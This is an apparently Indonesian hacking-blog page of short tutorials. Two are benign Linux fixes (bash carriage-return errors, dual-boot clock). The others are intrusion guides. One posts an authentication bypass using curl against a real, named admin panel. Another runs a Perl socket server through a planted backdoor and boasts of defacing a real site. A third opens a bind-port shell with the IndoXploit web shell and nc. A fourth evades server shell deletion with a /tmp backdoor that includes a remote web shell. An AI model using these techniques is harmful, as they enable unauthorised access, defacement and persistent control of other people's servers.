Codes Xploit: belajar
Showing posts with label belajar. Show all posts
Showing posts with label belajar. Show all posts

Deteksi Celah NO REDIRECT Pada Suatu Situs Menggunakan CURL

Halo selamat malam, kali ini saya akan memberikan sedikit tutorial bagaimana menemukan sebuah celah/vulnerability NO REDIRECT pada suatu situs. Celah ini ditemukan pada suatu halaman/file yang seharusnya dapat diakses hanya pada user yang memiliki akses tertentu (user yang sudah login).

Contohnya pada suatu kasus untuk dapat masuk ke halaman dashboard admin yang terdapat pada file /admin/home.php, kita diharuskan login terlebih dahulu. Maka dari itu, biasanya kita akan di redirect/arahkan ke halaman login dahulu, misalkan di file /admin/login.php


Sudah paham maksudnya?
Jika masih belum paham, mari simak penjelasan berikut.


Saya menemukan suatu sample situs yang memiliki celah ini, coba kalian kunjungi situs berikut:
http://shmsupport.telkomspeedy.com/admin/ maka kalian akan di arahkan/redirect ke halaman situs tersebut yang beralamat pada http://shmsupport.telkomspeedy.com/admin/login.php?MSG=NOSESSION

Dapat Simpulkan, bahwa pada folder /admin/ terdapat sebuah file index.php yang mem-validasi bahwa hanya user yang sudah LOGIN saja yang dapat mengakses ini. Simplenya, $_SESSION user sudah ter-set.

 Sayangnya, ada cara bagaimana mengakses /admin/ tanpa harus login terlebih dahulu. Bypassing dengan Query SQL??? 

***Bukan jawaban yang tepat pada pembahasan kali ini***

Lalu bagaimana?

*Cukup gunakan command CURL pada console/terminal/CMD, lalu jalankan command berikut:

$ curl -v http://shmsupport.telkomspeedy.com/admin/

Akan muncul sebuah hasil, dimana di perlihatkan bahwa kita dapat melihat isi dari halaman dashboard admin tersebut.



Melihat tulisan LOGOUT bukan? Padahal kita tidak login sama sekali ke website tersebut. Yap, ini merupakan sebuah bug. Melalui console seperti memang akan terbatas untuk melakukan hal-hal lainnya, tapi anda bisa menggunakan sebuah addons pada Browser untuk melakukan ini yaitu NO REDIRECT (https://addons.mozilla.org/en-US/firefox/addon/noredirect/).

*******************************
Kenapa ini bisa terjadi?
Jika kita pernah coding hal seperti ini, kita akan membuat sebuah validasi $_SESSION, untuk memastikan apakah user yang mengakses halaman tersebut sudah login atau belum. Biasanya akan di coding seperti ini:

if(!isset($_SESSION[user])) {
             // lakukan redirect disini jika user belum login
}

Tapi codingan diatas masih memiliki bug, memang jika kita mengaksesnya melalui browser kita akan di arahkan ke halaman yang akan di set di codingan tersebut, namun jika kita melihat melalui CURL tadi, halamannya akan bisa kita lihat.

*******************************
Lalu bagaimana memperbaiki bug ini? dan apakah ini fatal?

Untuk memperbaiki ini simple saja, tambahkan die() ataupun exit() setelah bagian Lakukan Redirect.

if(!isset($_SESSION[user])) {
              // lakukan redirect disini jika user belum login
              exit();
}

Codingan diatas akan langsung menutup tadi jika kita mengakses melalui CURL, dan potongan code dashboard admin tadi tidak akan bisa dilihat lagi.

Jika terdapat informasi yang sensitif seperti dokument pribadi/dokument user/customer/client atau hal lainnya yang terdapat pada halaman tersebut, akan sangat mudah sekali didapatkan karena mereka masuk/melihat tanpa harus melalui sebuah authentikasi yang valid. Hal ini juga bisa menjadi awal terjadinya Exploitasi dengan CSRF, dan lainnya.



Oke sekian dulu tutorial kali ini, semoga bermanfaat.

Memperbaiki Error "/bin/bash^M: bad interpreter" Pada Saat Menjalankan File Bash

 
Halo selamat pagi agan agan semua.
Sesuai judul, disini saya akan memberikan beberapa solusi jika terdapat error semacam /bin/bash^M: bad interpreter pada saat menjalankan file bash.


Error ini terjadi karena file terdapat line style ending "\r\n". Sebenarnya, pada linux line style ending yang benar adalah  "\n" saja, sedangkan "\r\n" terdapat pada DOS/Windows. Jadi jika kalian menjalankan file yang mengandung line style ending "\r\n" pada linux, maka sudah pasti akan terdapat error semacam itu. Untuk lebih jelasnya, coba kalian run file bash kalian seperti ini:

user@linux $ bash file.sh
atau
user@linux $ sh file.sh

Kalian akan mendapati error seperti ini:


Beberapa cara yang dapat kalian lakukan untuk memperbaiki ini adalah sebagai berikut.

  • Menggunakan command tr
user@linux $ tr -d "\r" < file.sh > file_fix.sh && rm -rf file.sh
Nantinya file.sh akan dibersikan (dihapus \r), lalu di write ke dalam file baru bernama file_fix.sh yang nantinya inilah file yang akan kalian jalankan.
user@linux $ ./file_fix.sh

  • Menggunakan command sed
user@linux $ sed -i -e "s/\r$//" file.sh

  • Menggunakan command dos2unix
user@linux $ dos2unix file.sh
Jika dos2unix belum ada pada linux kalian, installah terlebih dahulu. Kalian bisa cari referensi untuk menginstall dos2unix pada linux kalian masing-masing di google.


Oke sekian dulu, itu adalah beberapa cara yang bisa kalian lakukan untuk memperbaiki error dari /bin/bash^M: bad interpreter. 

Semoga bermanfaat .

Tutorial Socket Server with Perl

 
Halo, selamat malam. Kali ini gua mau sharing lagi gimana socket server.
Masih inget gimana kemarin Meme Comic Indonesia (MCI) kena deface di PORT 1337?
Yap, gua pake metode ini.



Oke langsung aja.
Sebelumnya untuk melakukan socket server, kalian harus terlebih dahulu masuk ke dalam server target kalian lewat backdoor yang kalian pasang di salah satu website.


Disini saya menggunakan Script Perl yang saya dapat dari referensi google, lalu sedikit saya modifikasi agar koneksinya selalu open.

Script: https://pastebin.com/zk8v8jp6

Upload script socket perl diatas tadi ke backdoor kalian.
Setelah di upload, jalankan command berikut untuk menjalankan file perlnya.
$ perl perlcgi.pl
 [perlcgi.pl] adalah nama file kalian.

Metode ini akan membuka koneksi pada port yang sudah ditentukan.
 Setelah itu, lalu jalankan command berikut untuk memastikan.
$ ps aux | grep 'perl'

Saya menamai file perlnya dengan nama  'percgi.pl', maka akan menghasilkan seperti di gambar (perl [namafile].pl)

Setelah itu, coba kita buka [IP:PORT] pada browser kita untuk memastikan lagi. Apakah koneksinya berhasil?

PORT yang saya buka adalah port 1337.



Yap Berhasil!!!.

Sekarang, kita Reverse IP tersebut dan lihat ada berapa banyak domain dalam IP yang sama.

Disini saya menggunakan
www.yougetsignal.com/tools/web-sites-on-web-server/


Coba salah satu website yang muncul disana dan tambahkan port 1337, karena di script tersebut saya set port 1337.


Dan lainnya pun sama.
---------------------------------------------------
--------------------------------------------------------


Oke sekian dulu yoooooo ~

Tutorial Reverse Shell Dengan Bind Port

 
Oke, kali ini gua akan share gimana caranya Reverse Shell dengan bind port. Kebanyakan orang kesusahan waktu Reverse Shell dengan BackConnect. Cara ini cukup simple kok. Oke Langsung Simak aja.


Disini, saya menggunakan shell indoxploit V.3 untuk bind port nya.
Jalankan command bind port pada shell indoxploit V.3.
$ rvr bp [PORT] perl
Setelah itu, kalian akan mendapatkan response seperti ini.

Langsung saja, berikutnya buka terminal/CMD kalian.
Jalankan command nc.
$ nc [IP] [PORT]

Oke itu saja, mudah bukan?
Sekian dulu kawann..


Bypass 406 & Auto Delete Shell Oleh Server Dengan TMP Shell by IndoXploit

 
Oke kali ini gua pengen share sedikit trik, bagaimana membypass sebuah server yang 'bikin jengkel' waktu upload shell-shell besar seperti (indoxploit shell, wso, b374k, c99, dll). Yap Not Acceptable.

Mudah saja untuk mengakalinya.
Write sebuah file backdoor ke dalam directory /tmp, lalu panggil shell itu melalui current directorynya dengan sebuah PHP Function 'include()'
Penjelasan lebih lanjut.

Disini, saya sudah membuat backdoor khusus agar lebih mudah memanggil backdoor lain yang kita inginkan.


Ubah bagian $URL, isilah dengan URL Shell Backdoor yang kalian inginkan.

Langsung saja buka file backdoornya.
 Jika backdoor TMP Shell terus-menerus redirect & menghasilkan blank page. Itu tandanya file backdoor yang dipanggil tidak berhasil di Write pada directory /tmp.
Oke sekian dulu.
Semoga Bermanfaat.

Memperbaiki Format Waktu Yang Salah Saat Dual Boot Pada Ubuntu

 
Halo, selamat malam.
Kemarin ada yang sempet nanya di grup facebook indoxploit tentang penunjukkan waktu yang salah pada Linux nya dan dia bilang ini karena abis boot ke Windows. Lalu tiba-tiba jam pada linuxnya error/salah. Oke, baru kemarin aja gua juga ngalamin hal yang sama. Kebetulan gua abis install Windows 7, dan dual boot dengan Linux Mint yang sampe sekarang saya gunakan.

Oke langsung saja, untuk memperbaiki error itu bisa dilakukan seperti ini:

Kemarin saya coba untuk set Local Time, saya menggunakan command 'timedatectl'

Dan, silakan liat hasilnya. Waktu pada Linux nya kemarin normal lagi.


Oke Sekian dulu.
Semoga bermanfaat.


Sumber:
https://askubuntu.com/questions/800914/clock-shows-wrong-time-after-switching-from-ubuntu-to-windows-10